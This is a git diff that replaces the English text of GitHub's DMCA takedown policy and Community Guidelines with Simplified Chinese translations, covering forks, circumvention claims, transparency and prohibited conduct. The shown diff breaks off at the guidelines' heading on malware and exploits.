-6. **GitHub May Disable Access to the Content.** GitHub will disable a user's content if: (i) the copyright owner has alleged copyright over the user's entire repository or package (as noted in Step 3); (ii) the user has not made any changes after being given an opportunity to do so (as noted in Step 4); or (iii) the copyright owner has renewed their takedown notice after the user had a chance to make changes. If the copyright owner chooses instead to *revise* the notice, we will go back to Step 2 and repeat the process as if the revised notice were a new notice.
+6. **GitHub 可能禁止访问内容。**在以下情况下，GitHub 将禁用用户内容：(i) 版权所有者声称对用户整个仓库或包的内容都拥有版权（如步骤 3 所述）；(ii) 用户在获得更改机会后没有进行任何更改（如步骤 4 所述）；或 (iii) 版权所有者在用户有机会进行更改后重申了删除通知。 如果版权所有者选择*修改*通知，我们将回到步骤 2，将修改的通知当作新通知来重复这个流程。
 
-7. **User May Send A Counter Notice.** We encourage users who have had content disabled to consult with a lawyer about their options. If a user believes that their content was disabled as a result of a mistake or misidentification, they may send us a [counter notice](/articles/guide-to-submitting-a-dmca-counter-notice). As with the original notice, we will make sure that the counter notice is sufficiently detailed (as explained in the [how-to guide](/articles/guide-to-submitting-a-dmca-counter-notice)). If it is, we will [post it](#d-transparency) to our [public repository](https://github.com/github/dmca) and pass the notice back to the copyright owner by sending them the link.
+7. **用户可发送反通知。**我们鼓励用户在其内容被禁用后就其选择权咨询律师。 如果用户认为其内容是由于错误或错误指认而被禁用，他们可以向我们发送[反通知](/articles/guide-to-submitting-a-dmca-counter-notice)。 与原通知一样，我们将确保反通知足够详细（如[操作指南](/articles/guide-to-submitting-a-dmca-counter-notice)中所述）。 如果是，我们会将其[发布](#d-transparency)到我们的[公共仓库](https://github.com/github/dmca)，然后向版权所有者发送链接以传达该通知。
 
-8. **Copyright Owner May File a Legal Action.** If a copyright owner wishes to keep the content disabled after receiving a counter notice, they will need to initiate a legal action seeking a court order to restrain the user from engaging in infringing activity relating to the content on GitHub. In other words, you might get sued. If the copyright owner does not give GitHub notice within 10-14 days, by sending a copy of a valid legal complaint filed in a court of competent jurisdiction, GitHub will re-enable the disabled content.
+8. **版权所有者可提出法律诉讼。**如果版权所有者在收到反通知后，希望继续禁用内容，则他们需要发起法律诉讼，寻求通过法院命令制止用户从事与 GitHub 上的内容相关的侵权活动。 也就是说，用户可能会被起诉。 如果版权所有者在 10-14 天内没有向 GitHub 发出通知（发送向主管法院提交的有效法律投诉的副本），GitHub 将重新启用被禁用的内容。
 
-## B. What About Forks? (or What's a Fork?)
+## B. 复刻呢？ （或如何处理复刻？）
 
-One of the best features of GitHub is the ability for users to "fork" one another's repositories. What does that mean? In essence, it means that users can make a copy of a project on GitHub into their own repositories. As the license or the law allows, users can then make changes to that fork to either push back to the main project or just keep as their own variation of a project. Each of these copies is a "[fork](/articles/github-glossary#fork)" of the original repository, which in turn may also be called the "parent" of the fork.
+GitHub 的最佳功能之一是用户能够“复刻”彼此的仓库。 这意味着什么？ 从本质上讲，这意味着用户可以将 GitHub 上的项目复制到自己的仓库中。 在许可或法律允许的情况下，用户可以对复刻进行更改，然后将其推送到主项目或只保留为自己的项目变体。 每个此类副本都是原仓库的[复刻](/articles/github-glossary#fork)，或者说原仓库也可以称为复刻的“父仓库”。
 
-GitHub *will not* automatically disable forks when disabling a parent repository. This is because forks belong to different users, may have been altered in significant ways, and may be licensed or used in a different way that is protected by the fair-use doctrine. GitHub does not conduct any independent investigation into forks. We expect copyright owners to conduct that investigation and, if they believe that the forks are also infringing, expressly include forks in their takedown notice.
+GitHub 在禁用父仓库时*不会*自动禁用复刻。 这是因为复刻属于不同的用户，可能进行了重大更改，也可能获得了许可或者其使用方式符合合理使用原则。 GitHub 不会对复刻进行任何独立调查。 我们希望版权所有者进行这种调查，如果他们认为复刻也侵权，则应在其删除通知中明确包括这些复刻。
 
-In rare cases, you may be alleging copyright infringement in a full repository that is actively being forked. If at the time that you submitted your notice, you identified all existing forks of that repository as allegedly infringing, we would process a valid claim against all forks in that network at the time we process the notice. We would do this given the likelihood that all newly created forks would contain the same content. In addition, if the reported network that contains the allegedly infringing content is larger than one hundred (100) repositories and thus would be difficult to review in its entirety, we may consider disabling the entire network if you state in your notice that, "Based on the representative number of forks I have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository." Your sworn statement would apply to this statement.
+在极少数情况下，您可能在正被复刻的完整仓库中指称侵权。 如果您在提交通知时发现该仓库的所有现有复刻涉嫌侵权，我们将在处理通知时处理对该网络中所有复刻的有效索赔。 我们这样做是考虑到所有新建复刻都可能包含相同的内容。 此外，如果所报告的包含涉嫌侵权内容的网络大于一百 (100) 个仓库，从而很难全面审查，并且您在通知中指出：“根据您审查的代表性复刻数量，我相信所有或大多数复刻的侵权程度与父仓库相同”，则我们可能会考虑禁用整个网络。 你的宣誓声明将适用于此声明。
 
-## C. What about Circumvention Claims?
+## C. 规避索赔呢？
 
-The DMCA prohibits the [circumvention of technical measures](https://www.copyright.gov/title17/92chap12.html) that effectively control access to works protected by copyright. Given that these types of claims are often highly technical in nature, GitHub requires claimants to provide [detailed information about these claims](/github/site-policy/guide-to-submitting-a-dmca-takedown-notice#complaints-about-anti-circumvention-technology), and we undertake a more extensive review. 
+DMCA 禁止[规避技术措施](https://www.copyright.gov/title17/92chap12.html)，以有效控制访问受版权保护的作品。 鉴于这些类型的索赔往往技术性很强，GitHub 要求索赔人提供[关于这些索赔的详细信息](/github/site-policy/guide-to-submitting-a-dmca-takedown-notice#complaints-about-anti-circumvention-technology)，我们进行了更广泛的审查。
 
-A circumvention claim must include the following details about the technical measures in place and the manner in which the accused project circumvents them. Specifically, the notice to GitHub must include detailed statements that describe:
-1. What the technical measures are;
-2. How they effectively control access to the copyrighted material; and 
-3. How the accused project is designed to circumvent their previously described technological protection measures.
+规避索赔必须包括以下关于技术措施以及被告项目规避这些措施的方式的详细信息。 具体而言，给 GitHub 的通知必须包括详细的说明，描述：
+1. 技术措施是什么；
+2. 它们如何有效控制对受版权保护材料的访问；以及
+3. 被告项目是如何设计来规避他们以前描述的技术保护措施的。
 
-GitHub will review circumvention claims closely, including by both technical and legal experts. In the technical review, we will seek to validate the details about the manner in which the technical protection measures operate and the way the project allegedly circumvents them. In the legal review, we will seek to ensure that the claims do not extend beyond the boundaries of the DMCA. In cases where we are unable to determine whether a claim is valid, we will err on the side of the developer, and leave the content up. If the claimant wishes to follow up with additional detail, we would start the review process again to evaluate the revised claims.
+GitHub 将仔细审查规避索赔，包括技术和法律专家提出的索赔要求。 在技术审查中，我们将设法核实有关技术保护措施的运作方式以及据称项目绕过这些措施的方式的细节。 在法律审查中，我们将设法确保索赔不超出 DMCA 的界限。 如果无法确定索赔是否有效，我们将在开发人员端进行错误检查，并且保留内容。 如果索赔人希望跟进更多细节，我们将重新开始审查进程，以评估经修订的索赔。
 
-Where our experts determine that a claim is complete, legal, and technically legitimate, we will contact the repository owner and give them a chance to respond to the claim or make changes to the repo to avoid a takedown. If they do not respond, we will attempt to contact the repository owner again before taking any further steps. In other words, we will not disable a repository based on a claim of circumvention technology  without attempting to contact a repository owner to give them a chance to respond or make changes first. If we are unable to resolve the issue by reaching out to the repository owner first, we will always be happy to consider a response from the repository owner even after the content has been disabled if they would like an opportunity to dispute the claim, present us with additional facts, or make changes to have the content restored. When we need to disable content, we will ensure that repository owners can export their issues and pull requests and other repository data that do not contain the alleged circumvention code to the extent legally possible.
+如果我们的专家确定索赔是完整、合法和技术上合法的，我们将联系仓库所有者，让他们有机会对索赔作出回应或更改仓库以避免撤除。 如果他们不回应，我们将尝试再次联系仓库所有者，然后再采取任何进一步的步骤。 换句话说，我们不会在未尝试联系存储库所有者以给他们先回应或更改机会的情况下，根据规避技术的主张直接禁用仓库。 如果我们无法通过先联系仓库所有者来解决问题，即使内容已禁用，如果他们希望有机会对索赔提出异议、向我们提交其他事实或进行更改以恢复内容，我们也始终乐于考虑仓库所有者的回应。 当我们需要禁用内容时，我们将在法律允许的范围内确保仓库所有者能够导出其议题，并提取不包含所谓的规避代码的其他仓库数据。
 
-Please note, our review process for circumvention technology does not apply to content that would otherwise violate our Acceptable Use Policy restrictions against sharing unauthorized product licensing keys, software for generating unauthorized product licensing keys, or software for bypassing checks for product licensing keys. Although these types of claims may also violate the DMCA provisions on circumvention technology, these are typically straightforward and do not warrant additional technical and legal review. Nonetheless, where a claim is not straightforward, for example in the case of jailbreaks, the circumvention technology claim review process would apply.  
+请注意，我们对规避技术的审查流程不适用于违反我们可接受使用政策限制的内容，禁止共享未经授权的产品许可密钥、生成未经授权的产品许可密钥的软件或绕过产品许可密钥检查的软件。 虽然这些类型的索赔也可能违反 DMCA 关于规避技术的规定，但这些索赔通常很简单，不需要额外的技术和法律审查。 然而，如果索赔并不简单，例如在越狱的情况下，规避技术索赔审查程序将适用。
 
-When GitHub processes a DMCA takedown under our circumvention technology claim review process, we will offer the repository owner a referral to receive independent legal consultation through [GitHub’s Developer Defense Fund](https://github.blog/2021-07-27-github-developer-rights-fellowship-stanford-law-school/) at no cost to them.
+当 GitHub 根据我们的规避技术索赔审查流程处理 DMCA 拆解时，我们将转介仓库所有者通过 [GitHub 的开发人员防御基金](https://github.blog/2021-07-27-github-developer-rights-fellowship-stanford-law-school/)免费获得独立法律咨询。
 
-## D. What If I Inadvertently Missed the Window to Make Changes?
+## D. 如果我无意中错过了更改时限怎么办？
 
-We recognize that there are many valid reasons that you may not be able to make changes within the window of approximately 1 business day we provide before your repository gets disabled. Maybe our message got flagged as spam, maybe you were on vacation, maybe you don't check that email account regularly, or maybe you were just busy. We get it. If you respond to let us know that you would have liked to make the changes, but somehow missed the first opportunity, we will re-enable the repository one additional time for approximately 1 business day to allow you to make the changes. Again, you must notify us that you have made the changes in order to keep the repository enabled after that window of approximately 1 business day, as noted above in [Step A.4](#a-how-does-this-actually-work). Please note that we will only provide this one additional chance.
+我们知道，有许多现实原因导致您无法在我们禁用您的仓库之前提供的大约 1 个工作日时限内进行更改。 可能我们的邮件被标记为垃圾邮件，可能您正在度假，可能您不经常查看电子邮件帐户，或者您只是很忙。 我们理解。 如果您回复我们表示您愿意更改，但因为某些原因错过了第一次机会，我们会重新启用仓库，再次提供大约 1 个工作日的时间让您进行更改。 同样，要在大约 1 个工作日的时限之后让仓库保持启用状态，您必须在完成更改后通知我们，如上文的[步骤 A.4](#a-how-does-this-actually-work) 所述。 请注意，我们只提供这一次额外机会。
 
-## E. Transparency
+## E. 透明
 
-We believe that transparency is a virtue. The public should know what content is being removed from GitHub and why. An informed public can notice and surface potential issues that would otherwise go unnoticed in an opaque system. We post redacted copies of any legal notices we receive (including original notices, counter notices or retractions) at <https://github.com/github/dmca>. We will not publicly publish your personal contact information; we will remove personal information (except for usernames in URLs) before publishing notices. We will not, however, redact any other information from your notice unless you specifically ask us to. Here are some examples of a published [notice](https://github.com/github/dmca/blob/master/2014/2014-05-28-Delicious-Brains.md) and [counter notice](https://github.com/github/dmca/blob/master/2014/2014-05-01-Pushwoosh-SDK-counternotice.md) for you to see what they look like. When we remove content, we will post a link to the related notice in its place.
+我们认为，透明是一种美德。 公众应该知道 GitHub 会删除哪些内容以及原因。 知情的公众可以注意到并发现那些在不透明系统中无法注意到的潜在问题。 我们会在 <https://github.com/github/dmca> 上发布我们收到的任何法律通知（包括原通知、反通知或撤回声明）的删节版。 我们不会公布您的个人联系信息；我们会在发布通知之前删除个人信息（URL 中用户名除外）。 但是我们不会删节通知中的任何其他信息，除非您明确要求我们删除。 以下是一些已发布的[通知](https://github.com/github/dmca/blob/master/2014/2014-05-28-Delicious-Brains.md)和[反通知](https://github.com/github/dmca/blob/master/2014/2014-05-01-Pushwoosh-SDK-counternotice.md)的示例，供您参考。 我们删除内容时，会在其位置发布指向相关通知的链接。
 
-Please also note that, although we will not publicly publish unredacted notices, we may provide a complete unredacted copy of any notices we receive directly to any party whose rights would be affected by it.
+另请注意，尽管我们不会公开发布未删节的通知，但我们可能会向权利受影响的任何相关方直接提供相关通知的完整未删节版。
 
-## F. Repeated Infringement
+## F. 屡次侵权
 
-It is the policy of GitHub, in appropriate circumstances and in its sole discretion, to disable and terminate the accounts of users who may infringe upon the copyrights or other intellectual property rights of GitHub or others.
+GitHub 的政策是，在适当的情况下，自行决定禁用和终止可能侵犯 GitHub 或其他方的版权或其他知识产权的用户帐户。
 
-## G. Submitting Notices
+## G. 提交通知
 
-If you are ready to submit a notice or a counter notice:
-- [How to Submit a DMCA Notice](/articles/guide-to-submitting-a-dmca-takedown-notice)
-- [How to Submit a DMCA Counter Notice](/articles/guide-to-submitting-a-dmca-counter-notice)
+如果您准备提交通知或反通知：
+- [如何提交 DMCA 通知](/articles/guide-to-submitting-a-dmca-takedown-notice)
+- [如何提交 DMCA 反通知](/articles/guide-to-submitting-a-dmca-counter-notice)
 
-## Learn More and Speak Up
+## 深入了解并发表意见
 
-If you poke around the Internet, it is not too hard to find commentary and criticism about the copyright system in general and the DMCA in particular. While GitHub acknowledges and appreciates the important role that the DMCA has played in promoting innovation online, we believe that the copyright laws could probably use a patch or two—if not a whole new release. In software, we are constantly improving and updating our code. Think about how much technology has changed since 1998 when the DMCA was written. Doesn't it just make sense to update these laws that apply to software?
+在互联网上随便逛一逛，就不难发现有关版权系统，特别是有关 DMCA 的评论和批评。 虽然 GitHub 承认并赞赏 DMCA 在促进在线创新方面发挥的重要作用，但我们认为，版权法或许需要打一两个补丁——如果不推出全新版本的话。 在软件方面，我们不断改进和更新我们的代码。 想想自 1998 年 DMCA 面世以来，技术的变化可谓翻天覆地。 更新这些适用于软件的法律难道不是理所当然的吗？
 
-We don't presume to have all the answers. But if you are curious, here are a few links to scholarly articles and blog posts we have found with opinions and proposals for reform:
+我们并不认为存在解答一切的魔方。 但如果您感兴趣，这里有一些学术文章和博客的链接，我们发现其中有不少关于改革的意见和建议：
 
 - [Unintended Consequences: Twelve Years Under the DMCA](https://www.eff.org/wp/unintended-consequences-under-dmca) (Electronic Frontier Foundation)
 - [Statutory Damages in Copyright Law: A Remedy in Need of Reform](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=1375604) (William & Mary Law Review)
@@ -120,4 +120,4 @@ We don't presume to have all the answers. But if you are curious, here are a few
 - [Opportunities for Copyright Reform](https://www.cato-unbound.org/issues/january-2013/opportunities-copyright-reform) (Cato Unbound)
 - [Fair Use Doctrine and the Digital Millennium Copyright Act: Does Fair Use Exist on the Internet Under the DMCA?](https://digitalcommons.law.scu.edu/lawreview/vol42/iss1/6/) (Santa Clara Law Review)
 
-GitHub doesn't necessarily endorse any of the viewpoints in those articles. We provide the links to encourage you to learn more, form your own opinions, and then reach out to your elected representative(s) (e.g, in the [U.S. Congress](https://www.govtrack.us/congress/members) or [E.U. Parliament](https://www.europarl.europa.eu/meps/en/home)) to seek whatever changes you think should be made.
+GitHub 不一定支持这些文章中的任何观点。 我们提供链接的目的是鼓励您了解更多信息，形成自己的观点，然后联系您选举的代表（例如[美国 国会](https://www.govtrack.us/congress/members)或[欧盟 议会](https://www.europarl.europa.eu/meps/en/home)的官员），以求实现您认为应该进行的任何更改。
diff --git a/translations/zh-CN/content/github/site-policy/github-community-guidelines.md b/translations/zh-CN/content/github/site-policy/github-community-guidelines.md
index 7011d661da..93671db3a5 100644
--- a/translations/zh-CN/content/github/site-policy/github-community-guidelines.md
+++ b/translations/zh-CN/content/github/site-policy/github-community-guidelines.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Community Guidelines
+title: GitHub 社区指导方针
 redirect_from:
   - /community-guidelines
   - /articles/github-community-guidelines
@@ -10,110 +10,99 @@ topics:
   - Legal
 ---
 
-Millions of developers host millions of projects on GitHub — both open and closed source — and we're honored to play a part in enabling collaboration across the community every day. Together, we all have an exciting opportunity and responsibility to make this a community we can be proud of.
+数百万开发者在 GitHub 上托管了数百万个项目，包括开源和闭源项目，我们很荣幸能够为促进社区的日常协作发挥作用。 走在一起，我们都有机会和责任让这个社区成为我们值得骄傲的地方。
 
-GitHub users worldwide bring wildly different perspectives, ideas, and experiences, and range from people who created their first "Hello World" project last week to the most well-known software developers in the world. We are committed to making GitHub a welcoming environment for all the different voices and perspectives in our community, while maintaining a space where people are free to express themselves.
+GitHub 的用户来自世界各地，有上周才创建其第一个 "Hello World" 项目的新人，也有享誉全球的软件开发高手，他们带来了各种不同的观点、想法和经验。 我们致力于让 GitHub 成为一个海纳百川的环境，接纳各种不同的声音和观点，打造一个所有人都能畅所欲言的空间。
 
-We rely on our community members to communicate expectations, [moderate](#what-if-something-or-someone-offends-you) their projects, and {% data variables.contact.report_abuse %} or {% data variables.contact.report_content %}. By outlining what we expect to see within our community, we hope to help you understand how best to collaborate on GitHub, and what type of actions or content may violate our [Terms of Service](#legal-notices), which include our [Acceptable Use Policies](/github/site-policy/github-acceptable-use-policies). We will investigate any abuse reports and may moderate public content on our site that we determine to be in violation of our Terms of Service.
+我们依靠社区成员传达期望、[仲裁](#what-if-something-or-someone-offends-you)他们的项目以及{% data variables.contact.report_abuse %}或{% data variables.contact.report_content %}。 通过概述我们期望社区内出现的情况，我们希望帮助您理解如何在 GitHub 上进行最佳的协作，以及哪种操作或内容可能违反我们的[服务条款](#legal-notices)，包括我们的[可接受使用政策](/github/site-policy/github-acceptable-use-policies)。 我们将调查任何滥用举报，并且可能在我们的网站上仲裁我们确定违反了 GitHub 服务条款的公共内容。
 
-## Building a strong community
+## 建立强大的社区
 
-The primary purpose of the GitHub community is to collaborate on software projects.
-We want people to work better together. Although we maintain the site, this is a community we build *together*, and we need your help to make it the best it can be.
+GitHub 社区的主要目的是协作处理软件项目。 我们希望人们能够更好地协作。 虽然我们维护网站，但这实际上是我们一起构建的*社区*，我们需要大家共同将其打造成最好的工具。
 
-* **Be welcoming and open-minded** - Other collaborators may not have the same experience level or background as you, but that doesn't mean they don't have good ideas to contribute. We encourage you to be welcoming to new collaborators and those just getting started.
+* **包容开放** - 其他协作的经验水平或背景可能与您不同，但这并不意味着他们不能贡献好的想法。 鼓励大家欢迎新的协作者和刚入门的新手。
 
-* **Respect each other.**  Nothing sabotages healthy conversation like rudeness. Be civil and professional, and don’t post anything that a reasonable person would consider offensive, abusive, or hate speech. Don’t harass or grief anyone. Treat each other with dignity and consideration in all interactions.
+* **互相尊重。**粗鲁是正常对话的天敌。 保持礼貌和专业，不要发表被理性的人视为冒犯、侮辱或仇恨的言论。 不要骚扰或打击任何人。 在所有互动中应互相尊重和体谅。
 
-  You may wish to respond to something by disagreeing with it. That’s fine. But remember to criticize ideas, not people. Avoid name-calling, ad hominem attacks, responding to a post’s tone instead of its actual content, and knee-jerk contradiction. Instead, provide reasoned counter-arguments that improve the conversation.
+  您可能要发表反对的意见。 没问题。 但请记住，您的批评要对事不对人。 不要说脏话、人身攻击、纠结于帖子的语气而罔顾其实际内容或制造下意识的矛盾。 而应该提供合理的反驳论据，保持友善的对话。
 
-* **Communicate with empathy** - Disagreements or differences of opinion are a fact of life. Being part of a community means interacting with people from a variety of backgrounds and perspectives, many of which may not be your own. If you disagree with someone, try to understand and share their feelings before you address them. This will promote a respectful and friendly atmosphere where people feel comfortable asking questions, participating in discussions, and making contributions.
+* **共情沟通** - 意见相左或分歧是生活中的常态。 作为社区的一部分，意味着您要与各种背景和观点的人互动，其中许多人的观点可能与您不同。 如果您不同意某人的观点，请先试图理解他们并体会他们的情感，然后再发表意见。 这将有助于营造尊重和友好的氛围，让人舒适自在地提出问题、参与讨论和做出贡献。
 
-* **Be clear and stay on topic** - People use GitHub to get work done and to be more productive. Off-topic comments are a distraction (sometimes welcome, but usually not) from getting work done and being productive. Staying on topic helps produce positive and productive discussions.
+* **清楚明确，紧扣主题** - 人们使用 GitHub 的目的是完成工作和提高效率。 脱离主题的评论对于完成工作和取得成效是一种干扰（有时可能受欢迎，但这种情况很少）。 紧扣主题有助于产生积极和富有成效的讨论。
 
-   Additionally, communicating with strangers on the Internet can be awkward. It's hard to convey or read tone, and sarcasm is frequently misunderstood. Try to use clear language, and think about how it will be received by the other person.
+   此外，在互联网上与陌生人交流可能并不容易。 很难传达或读懂语气，容易被误解为嘲讽。 尽可能清晰表达，并考虑其他人如何理解您的表达。
 
-## What if something or someone offends you?
+## 如果某事或某人冒犯您会怎么样？
 
-We rely on the community to let us know when an issue needs to be addressed. We do not actively monitor the site for offensive content. If you run into something or someone on the site that you find objectionable, here are some tools GitHub provides to help you take action immediately:
+我们通过社区来了解何时需要解决问题。 我们不主动监控网站上的冒犯性内容。 如果您发现网站上有您反感的某事或某人，GitHub 提供了以下工具帮助您立即采取行动：
 
-* **Communicate expectations** - If you participate in a community that has not set their own, community-specific guidelines, encourage them to do so either in the README or [CONTRIBUTING file](/articles/setting-guidelines-for-repository-contributors/), or in [a dedicated code of conduct](/articles/adding-a-code-of-conduct-to-your-project/), by submitting a pull request.
+* **传达期望** - 如果您参与一个没有设置其社区特定指南的社区，请提交拉取请求来建议他们在 README 或 [CONTRIBUTING 文件](/articles/setting-guidelines-for-repository-contributors/)中说明， 或者在[专用行为守则](/articles/adding-a-code-of-conduct-to-your-project/)中规定。
 
-* **Moderate Comments** - If you have [write-access privileges](/articles/repository-permission-levels-for-an-organization/) for a repository, you can edit, delete, or hide anyone's comments on commits, pull requests, and issues. Anyone with read access to a repository can view a comment's edit history. Comment authors and people with write access to a repository can delete sensitive information from a comment's edit history. For more information, see "[Tracking changes in a comment](/articles/tracking-changes-in-a-comment)" and "[Managing disruptive comments](/articles/managing-disruptive-comments)."
+* **仲裁评论** - 如果您对仓库拥有 [写入权限](/articles/repository-permission-levels-for-an-organization/)，则可以编辑、删除或隐藏任何人对提交、拉取请求和议题的评论。 对仓库具有读取权限的任何人都可查看评论的编辑历史记录。 评论作者和具有仓库写入权限的人员可以删除评论编辑历史记录中的敏感信息。 更多信息请参阅“[追踪评论中的变化](/articles/tracking-changes-in-a-comment)”和“[管理破坏性评论](/articles/managing-disruptive-comments)”。
 
-* **Lock Conversations**  - If a discussion in an issue or pull request gets out of control, you can [lock the conversation](/articles/locking-conversations/).
+* **锁定对话**- 如果某个议题或拉取请求中的讨论失控，您可以[锁定对话](/articles/locking-conversations/)。
 
-* **Block Users**  - If you encounter a user who continues to demonstrate poor behavior, you can [block the user from your personal account](/articles/blocking-a-user-from-your-personal-account/) or [block the user from your organization](/articles/blocking-a-user-from-your-organization/).
+* **阻止用户** - 如果您遇到一个连续表现出不良行为的用户，可以[阻止该用户访问您的个人帐户](/articles/blocking-a-user-from-your-personal-account/)或[阻止该用户访问您的组织](/articles/blocking-a-user-from-your-organization/)。
 
-Of course, you can always contact us to {% data variables.contact.report_abuse %} if you need more help dealing with a situation.
+当然，如果您需要更多关于处理某种情况的帮助，可随时联系我们以{% data variables.contact.report_abuse %}。
 
-## What is not allowed?
+## 不允许什么？
 
-We are committed to maintaining a community where users are free to express themselves and challenge one another's ideas, both technical and otherwise. Such discussions, however, are unlikely to foster fruitful dialog when ideas are silenced because community members are being shouted down or are afraid to speak up. That means you should be respectful and civil at all times, and refrain from attacking others on the basis of who they are. We do not tolerate behavior that crosses the line into the following:
+我们致力于维持一个用户能够自由表达意见并对彼此想法（包括技术和其他方面）提出挑战的社区。 但当思想被压制时，这种讨论不可能促进富有成果的对话，因为因为社区成员被禁声或害怕说出来。 因此，您应该始终尊重他人，言行文明，不要对他人有任何人身攻击以谁为由攻击他人。 我们不容忍以下越界行为：
 
-- #### Threats of violence 
-   You may not threaten violence towards others or use the site to organize, promote, or incite acts of real-world violence or terrorism. Think carefully about the words you use, the images you post, and even the software you write, and how they may be interpreted by others. Even if you mean something as a joke, it might not be received that way. If you think that someone else *might* interpret the content you post as a threat, or as promoting violence or terrorism, stop. Don't post it on GitHub. In extraordinary cases, we may report threats of violence to law enforcement if we think there may be a genuine risk of physical harm or a threat to public safety.
+- #### 暴力威胁 不得暴力威胁他人，也不得利用网站组织、宣传或煽动现实世界中的暴力或恐怖主义行为。 仔细考虑您使用的文字、发布的图像、编写的软件以及其他人会如何解读它们。 即使您只是开个玩笑，但别人不见得这样理解。 如果您认为别人*可能*会将您发布的内容解读为威胁或者煽动暴力或恐怖主义， 不要在 GitHub 上发布。 在非常情况下， 如果我们认为可能存在真正的人身伤害风险或公共安全威胁，我们可能会向执法机构报告暴力威胁。
 
-- #### Hate speech and discrimination 
-   While it is not forbidden to broach topics such as age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation, we do not tolerate speech that attacks a person or group of people on the basis of who they are. Just realize that when approached in an aggressive or insulting manner, these (and other) sensitive topics can make others feel unwelcome, or perhaps even unsafe. While there's always the potential for misunderstandings, we expect our community members to remain respectful and civil when discussing sensitive topics.
+- ####仇恨言论和歧视 虽然不禁止谈论年龄、身材、能力、种族、性别认同和表达、经验水平、国籍、外貌、民族、宗教或性认同和性取向等话题，但我们不允许基于身份特征攻击任何个人或群体。 只要认识到以一种侵略性或侮辱性的方式处理这些（及其他）敏感的专题，就可能使其他人感到不受欢迎甚至不安全。 虽然总是存在误解的可能性，但我们期望社区成员在讨论敏感问题时保持尊重和平静。
 
-- #### Bullying and harassment 
-   We do not tolerate bullying or harassment. This means any habitual badgering or intimidation targeted at a specific person or group of people. In general, if your actions are unwanted and you continue to engage in them, there's a good chance you are headed into bullying or harassment territory.
+- #### 欺凌和骚扰 我们不容忍欺凌或骚扰。 这意味着我们不允许针对任何特定个人或群体的典型骚扰或恐吓行为。 一般来说，如果您屡次三番采取多余的行动，就很可能走进了欺凌或骚扰的歧途。
 
-- #### Disrupting the experience of other users 
-   Being part of a community includes recognizing how your behavior affects others and engaging in meaningful and productive interactions with people and the platform they rely on. Behaviors such as repeatedly posting off-topic comments, opening empty or meaningless issues or pull requests, or using any other platform feature in a way that continually disrupts the experience of other users are not allowed. While we encourage maintainers to moderate their own projects on an individual basis, GitHub staff may take further restrictive action against accounts that are engaging in these types of behaviors.
+- ### 破坏其他用户的体验 成为社区的一部分包括认识到您的行为如何影响他人，并与他人及其依赖的平台进行有意义和富有成效的互动。 不允许重复发布与主题无关的评论、开启空洞或无意义的议题或拉取请求，或者以不断破坏其他用户体验的方式使用任何其他平台功能等行为。 虽然我们鼓励维护人员根据个别情况调整自己的项目，但 GitHub 员工可能会对从事此类行为的帐户采取进一步的限制措施。
 
-- #### Impersonation
-   You may not impersonate another person by copying their avatar, posting content under their email address, using a similar username or otherwise posing as someone else. Impersonation is a form of harassment.
+- #### 冒充 不得冒充他人，包括复制他人的头像、使用他人的电子邮件地址发布内容、使用相似用户名或其他冒充方式。 冒充是骚扰的一种形式。
 
-- #### Doxxing and invasion of privacy 
-   Don't post other people's personal information, such as personal, private email addresses, phone numbers, physical addresses, credit card numbers, Social Security/National Identity numbers, or passwords. Depending on the context, such as in the case of intimidation or harassment, we may consider other information, such as photos or videos that were taken or distributed without the subject's consent, to be an invasion of privacy, especially when such material presents a safety risk to the subject.
+- #### 人肉和侵犯隐私 不得发布他人的个人信息，例如个人、私人电子邮件地址、电话号码、实际地址、信用卡号码、社会保障/国民身份号码或密码。 根据具体情况，例如在恐吓或骚扰的情况下，我们可能会认为发布他人信息（例如未经当事人同意而拍摄或散发的照片或视频）是侵犯隐私的行为，特别是当此类材料会给当事人带来安全风险时。
 
-- #### Sexually obscene content
-   Don’t post content that is pornographic. This does not mean that all nudity, or all code and content related to sexuality, is prohibited. We recognize that sexuality is a part of life and non-pornographic sexual content may be a part of your project, or may be presented for educational or artistic purposes. We do not allow obscene sexual content or content that may involve the exploitation or sexualization of minors.
+- #### 性淫秽内容 不得发布色情内容。 但这并不意味着禁止一切裸体或与性有关的所有代码和内容。 我们认识到，性行为是生活的一部分，非色情的性内容可能是您项目的一部分，或者出于教育或艺术目的而呈现。 我们不允许淫秽性内容或可能涉及利用或性化未成年人的内容。
 
-- #### Gratuitously violent content
-   Don’t post violent images, text, or other content without reasonable context or warnings. While it's often okay to include violent content in video games, news reports, and descriptions of historical events, we do not allow violent content that is posted indiscriminately, or that is posted in a way that makes it difficult for other users to avoid (such as a profile avatar or an issue comment). A clear warning or disclaimer in other contexts helps users make an educated decision as to whether or not they want to engage with such content.
+- #### 过激的暴力内容 不得在没有合理的上下文或警告的情况下发布暴力图像、文本或其他内容。 在视频游戏、新闻报道以及对历史事件的描述中通常可以包含暴力内容，但我们不允许不加选择地发布暴力内容，或者以其他用户很难避开的方式发布（例如头像或议题评论）。 在其他情况下发布明确警告或免责声明有助于用户就他们是否想要参与这类内容作出明智的决定。
 
-- #### Misinformation and disinformation
-   You may not post content that presents a distorted view of reality, whether it is inaccurate or false (misinformation) or is intentionally deceptive (disinformation) where such content is likely to result in harm to the public or to interfere with fair and equal opportunities for all to participate in public life. For example, we do not allow content that may put the well-being of groups of people at risk or limit their ability to take part in a free and open society. We encourage active participation in the expression of ideas, perspectives, and experiences and may not be in a position to dispute personal accounts or observations. We generally allow parody and satire that is in line with our Acceptable Use Polices, and we consider context to be important in how information is received and understood; therefore, it may be appropriate to clarify your intentions via disclaimers or other means, as well as the source(s) of your information.
+- #### 错误信息和虚假信息 不得发布歪曲现实的内容，包括不准确或虚假的信息（错误信息），或者故意欺骗的信息（假信息），因为这种内容可能伤害公众，或者干扰所有人公平和平等参与公共生活的机会。 例如，我们不允许可能危及群体福祉或限制他们参与自由和开放社会的内容。 鼓励积极参与表达想法、观点和经验，不得质疑个人帐户或言论。 我们通常允许模仿和讽刺，但要符合我们的“可接受使用政策”，而且我们认为上下文对于如何接收和理解信息很重要；因此，通过免责声明或其他方式澄清您的意图以及您的信息的来源，可能是适当的做法。
 
-- #### Active malware or exploits
